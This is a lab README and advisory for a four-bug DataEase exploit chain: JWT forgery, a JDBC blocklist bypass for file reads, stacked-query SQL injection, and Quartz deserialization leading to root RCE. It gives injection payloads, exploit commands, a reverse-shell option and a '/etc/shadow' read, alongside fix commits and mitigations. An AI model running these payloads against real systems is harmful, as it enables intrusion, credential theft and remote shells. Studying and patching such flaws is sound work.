$ cat cve-2026-40901-dataease-rce-chain.mdx
CVE-2026-40901: DataEase 4-bug chain to unauthenticated root RCE
Authorization: this is a self-contained lab built for education and authorized security research. The vulnerable DataEase instance runs locally in Docker and nothing leaves your machine. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.
Summary
DataEase is a widely deployed
open-source BI / data-visualization platform (Java, Spring Boot). Versions
≤ v2.10.20 carry four separate issues that individually look modest, but
chain cleanly from network reachability to remote code execution as root.
| # | CVE | Class | What it gives us |
|---|---|---|---|
| 1 | CVE-2026-23958 | Auth bypass (CWE-287 / CWE-347) | Act as admin — no valid signature needed |
| 2 | CVE-2026-40899 | JDBC blocklist bypass (CWE-20) | Arbitrary file read → backend DB creds |
| 3 | CVE-2026-40900 | SQL injection, stacked queries (CWE-89) | Write into DataEase's own database |
| 4 | CVE-2026-40901 | Java deserialization (CWE-502) | RCE as root via the Quartz job store |
The final link is the interesting one: the deserialization sink isn't an HTTP
body or a cookie, it's a BLOB column in the Quartz JDBC job store that the
scheduler reads back with readObject() on its own timer.
Fixed in DataEase v2.10.21.
Impact
| Axis | What an attacker gets |
|---|---|
| Confidentiality | Arbitrary host file read, backend DB credentials, every dashboard's data |
| Integrity | Arbitrary code execution as root inside the container |
| Availability | Full control of the BI platform and its scheduler |
| Lateral movement | DataEase sits on the internal network by design — it reaches the data sources |
All of it pre-authentication: step 1 mints the admin token.
Affected versions
| DataEase | Status |
|---|---|
≤ v2.10.20 | Vulnerable — full chain lands root RCE |
≥ v2.10.21 | Fixed — signature verification, @JsonIgnore on the blocklist, allowMultiQueries blocked, vulnerable gadget dependency dropped |
Proof of concept
1. CVE-2026-23958 — authentication bypass
The TokenFilter servlet filter hands the token to TokenUtils, which decodes
it and never verifies it:
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // decode only — NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}The only real constraints are that the token is ≥ 100 characters and carries an
integer uid claim. Any self-made JWT saying "uid": 1 runs as the built-in
administrator. The companion share-link path (X-DE-LINK-TOKEN) is signed with
the hardcoded key link-pwd-fit2cloud and was likewise decoded without
verification. de_common.py implements forge_jwt() for this; the PoC can also
just log in with the ubiquitous default admin / DataEase@123456.
Fixed in commit 00c169caa, which looks up the real per-resource secret and
actually calls verifier.verify(...).
2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read
DataEase refuses a set of dangerous JDBC parameters when you add a MySQL
datasource. That blocklist lives in a Lombok @Data field:
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");@Data generates a public setter, so Jackson happily populates it from
attacker-controlled JSON. Sending "illegalParameters": [] in the Base64-encoded
configuration blob empties the blocklist before it is checked. Point the
datasource at a rogue MySQL server with
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
and read any file off the DataEase host through MySQL's LOCAL INFILE
mechanism.
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.ymlpython3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307DataEase hands over its own backend credentials:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysqlFixed in 16a950f96 by adding @JsonIgnore to every illegalParameters field.
3. CVE-2026-40900 — stacked-query SQLi in previewSql
POST /de2api/datasetData/previewSql takes Base64-encoded SQL and wraps it as a
subquery with no single-statement validation:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0Comments are stripped, but the parentheses can be balanced and ; used to append
statements. Since we control the datasource we can set allowMultiQueries=true
(not on the v2.10.20 blocklist), so stacked queries execute:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1Pointing that datasource at DataEase's own database — using the credentials
stolen in step 2 — gives write access to its Quartz tables. Fixed by 15611593b
(allowMultiQueries added to the blocklist) and e89059d88.
4. CVE-2026-40901 — Quartz deserialization → RCE
DataEase schedules a recurring "datasource status check" Quartz job:
- scheduler
deSyncJob, jobDatasource/check_status, classio.dataease.job.schedule.CheckDsStatusJob - cron
0 0/6 * * * ? *— every 6 minutes by default
Quartz runs with a JDBC job store and useProperties=false, so each job's
JobDataMap is persisted in QRTZ_JOB_DETAILS.JOB_DATA as a raw
Java-serialized object — the blob literally starts with the AC ED 00 05
serialization magic. When the scheduler scans for triggers:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()DataEase bundles commons-collections-3.2.1.jar and velocity-1.7.jar —
classic gadget sources. Step 3 overwrites JOB_DATA with a ysoserial
CommonsCollections6 payload and, in the same stacked query, pulls the
trigger's NEXT_FIRE_TIME forward to now so there's no 6-minute wait. On the
next scan, readObject() fires LazyMap → InvokerTransformer →
Runtime.exec and the command runs as root inside the container.
The PoC builds the gadget for you and handles the busybox quirk — the target
shell is Alpine ash and Runtime.exec gets no shell — by wrapping the command
as sh -c echo${IFS}<b64>|base64${IFS}-d|sh.
Fixed by e05bda764 and friends, which remove the vulnerable Velocity
dependency and the reachability of the sink.
Repository layout
| Path | Purpose |
|---|---|
docker-compose.yml | vulnerable DataEase v2.10.20 + MySQL 8.4 |
conf/application-standalone.yml | repoints the DB at the local mysql-de |
mysql/ | my.cnf + init.sql (creates the empty dataease DB) |
exploit/de_common.py | HTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql |
exploit/de_rce_chain.py | the end-to-end auth → SQLi → Quartz deserialization RCE |
exploit/rogue_mysql.py | minimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899 |
exploit/file_read.py | drives CVE-2026-40899 against the rogue server |
Run it
Prerequisites: Docker (the CLI is also used to run ysoserial in a
throwaway eclipse-temurin:8-jre container), and Python 3.8+ with
cryptography.
1. Bring up the vulnerable lab:
docker compose up -d
pip install -r exploit/requirements.txtWait until http://localhost:8100/de2api/dekey returns 200 — the Flyway
migration takes roughly 20 seconds. The web UI/API is on
http://localhost:8100 (prefix /de2api), shipping default credentials
admin / DataEase@123456, and the JVM runs as root inside its container.
2. Fire the chain:
python3 exploit/de_rce_chain.py3. Confirm code execution a few seconds later:
docker exec dataease cat /tmp/pwned_CVE_2026_40901uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
PWNED_BY_CVE_2026_40901
Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 LinuxOther payloads:
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444Fix and mitigations
- Upgrade to DataEase ≥ v2.10.21.
- Rotate the default
adminpassword (DataEase@123456) immediately — the chain works just as well with a plain login as with the forged token. - Don't expose DataEase to untrusted networks; it is an internal tool with credentials to every data source you've connected.
- Defense-in-depth for the sink: run Quartz with
useProperties=true, apply a JVM deserialization filter (-Djdk.serialFilter=…), and dropcommons-collections:3.2.1/velocity:1.7from the classpath. - The broader lesson from step 2: a security control expressed as a mutable
bean field is not a control.
@Dataon a config class silently makes your blocklist attacker-writable.
References
- NVD — CVE-2026-40901
- NVD — CVE-2026-40900
- NVD — CVE-2026-40899
- NVD — CVE-2026-23958
- DataEase on GitHub
- OX Security — From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase
- Fix commits:
00c169caa,16a950f96,15611593b,e89059d88,e05bda764(v2.10.20..v2.10.21) - Full lab & exploit source